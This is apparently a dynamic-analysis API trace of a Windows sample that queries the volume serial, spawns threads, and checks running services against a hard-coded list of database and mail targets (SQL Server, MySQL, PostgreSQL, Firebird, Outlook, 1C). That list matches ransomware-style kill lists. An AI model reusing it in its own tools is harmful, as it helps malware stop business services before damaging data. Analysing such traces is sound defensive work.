	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6e20
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6da8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6eb0
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7000
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6ec8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6fd0
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6f28
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6f40
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6f58
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6f70
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6fe8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7018
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7db8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7fe0
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7d70
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7e00
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7e48
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7de8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7d88
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5c8040
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7dd0
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1bd8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7fc8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1cc8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7f50
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7fb0
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7f98
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7ff8
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7f68
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c8010
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7f08
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c8028
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7d58
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7e18
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7e90
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7da0
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7f20
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7e60
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1c58
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7ea8
	[0204.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7e78
	[0204.599] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5c9540, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0204.599] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5d9548 | out: hHeap=0x560000) returned 1
	[0204.599] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5c9540 | out: hHeap=0x560000) returned 1
	[0204.600] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5b6508, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0204.600] lstrlenW (lpString="C:\\") returned 3
	[0204.600] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0204.601] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x560000) returned 1
	[0204.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5a54e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0204.605] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5ec968, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0204.605] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5fc970 | out: hHeap=0x560000) returned 1
	[0204.605] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5ec968 | out: hHeap=0x560000) returned 1
	[0204.606] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5b6508, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0204.606] lstrlenW (lpString="C:\\") returned 3
	[0204.606] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0204.606] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x560000) returned 1
	[0204.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5c9540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0204.609] WaitForMultipleObjects (nCount=0x2, lpHandles=0x57bb70*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 83
	os_tid = 0xf5c


Thread:
	id = 85
	os_tid = 0xf68

	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5dbbe0
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5dbbe0, Size=0x20) returned 0x59dd48
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dd48, Size=0x40) returned 0x577b18
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577b18, Size=0x80) returned 0x5b6160
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5b6160, Size=0x100) returned 0x5e9ba8
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5dbe08
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5dbe08, Size=0x20) returned 0x59de38
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59de38, Size=0x40) returned 0x577b18
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577b18, Size=0x80) returned 0x5b6050
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5b6050, Size=0x100) returned 0x5e9fc8
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5dbbe0
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x5ec700
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5dbc70
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5ec700, Size=0x8) returned 0x5ec670
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x576118
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5ec670, Size=0x10) returned 0x5dbc40
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x5762f8
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1a) returned 0x59dd48
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5dbc40, Size=0x20) returned 0x59db90
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1c) returned 0x59da28
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x16) returned 0x576138
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1a) returned 0x59dd70
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5dbe08
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x5ec5f0
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x577920
	[0204.830] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5ec5f0, Size=0x8) returned 0x5ec720
	[0204.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x3c) returned 0x577968
	[0204.831] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5ec720, Size=0x10) returned 0x5dbbf8
	[0204.831] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x5763b8
	[0204.831] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x576158
	[0204.831] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5dbbf8, Size=0x20) returned 0x59dd98
	[0204.831] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x24) returned 0x5754c0
	[0204.831] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0204.831] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5e9ba8 | out: hHeap=0x560000) returned 1
	[0204.831] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0204.831] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5e9fc8 | out: hHeap=0x560000) returned 1
	[0204.831] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59de10
	[0204.832] EnumServicesStatusExW (in: hSCManager=0x59de10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0) returned 0
	[0204.832] GetLastError () returned 0xea
	[0204.832] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1bc4) returned 0x5dfd90
	[0204.832] EnumServicesStatusExW (in: hSCManager=0x59de10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5dfd90, cbBufSize=0x1bc4, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5dfd90, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0) returned 1
	[0204.833] CloseServiceHandle (hSCObject=0x59de10) returned 1
	[0204.834] lstrlenW (lpString="Appinfo") returned 7
	[0204.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0204.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0204.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0204.834] lstrlenW (lpString="AppXSvc") returned 7
	[0204.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0204.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0204.834] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0204.834] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0204.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0204.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0204.834] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0204.834] lstrlenW (lpString="Audiosrv") returned 8
	[0204.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0204.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0204.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0204.834] lstrlenW (lpString="BFE") returned 3
	[0204.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0204.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0204.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0204.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0204.834] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0204.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0204.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0204.835] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0204.835] lstrlenW (lpString="CDPSvc") returned 6
	[0204.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0204.835] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0204.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0204.835] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0204.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0204.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0204.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0204.835] lstrlenW (lpString="CryptSvc") returned 8
	[0204.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0204.835] lstrlenW (lpString="DcomLaunch") returned 10
	[0204.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0204.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0204.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0204.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0204.836] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0204.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0204.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0204.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0204.836] lstrlenW (lpString="Dhcp") returned 4
	[0204.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0204.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0204.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0204.836] lstrlenW (lpString="Dnscache") returned 8
	[0204.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0204.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0204.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0204.836] lstrlenW (lpString="DPS") returned 3
	[0204.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0204.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0204.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0204.836] lstrlenW (lpString="DusmSvc") returned 7
	[0204.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0204.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0204.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0204.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0204.836] lstrlenW (lpString="EventLog") returned 8
	[0204.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0204.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0204.837] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0204.837] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0204.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0204.837] lstrlenW (lpString="EventSystem") returned 11
	[0204.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0204.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0204.837] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0204.837] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0204.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0204.837] lstrlenW (lpString="FontCache") returned 9
	[0204.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0204.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0204.837] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0204.837] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0204.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0204.837] lstrlenW (lpString="gpsvc") returned 5
	[0204.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0204.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0204.837] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0204.837] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0204.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0204.837] lstrlenW (lpString="iphlpsvc") returned 8
	[0204.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0204.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0204.837] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0204.837] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0204.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0204.837] lstrlenW (lpString="KeyIso") returned 6
	[0204.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0204.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0204.837] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0204.838] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0204.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0204.838] lstrlenW (lpString="LanmanServer") returned 12
	[0204.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0204.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0204.838] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0204.838] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0204.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0204.838] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0204.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0204.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0204.838] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0204.838] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0204.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0204.838] lstrlenW (lpString="lfsvc") returned 5
	[0204.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0204.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0204.838] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0204.838] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0204.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0204.838] lstrlenW (lpString="lmhosts") returned 7
	[0204.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0204.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0204.838] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0204.838] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0204.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0204.838] lstrlenW (lpString="LSM") returned 3
	[0204.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0204.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0204.838] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0204.838] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0204.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0204.838] lstrlenW (lpString="MpsSvc") returned 6
	[0204.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0204.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0204.839] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0204.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0204.839] lstrlenW (lpString="NcbService") returned 10
	[0204.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0204.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0204.839] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0204.839] lstrlenW (lpString="netprofm") returned 8
	[0204.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0204.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0204.839] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0204.839] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
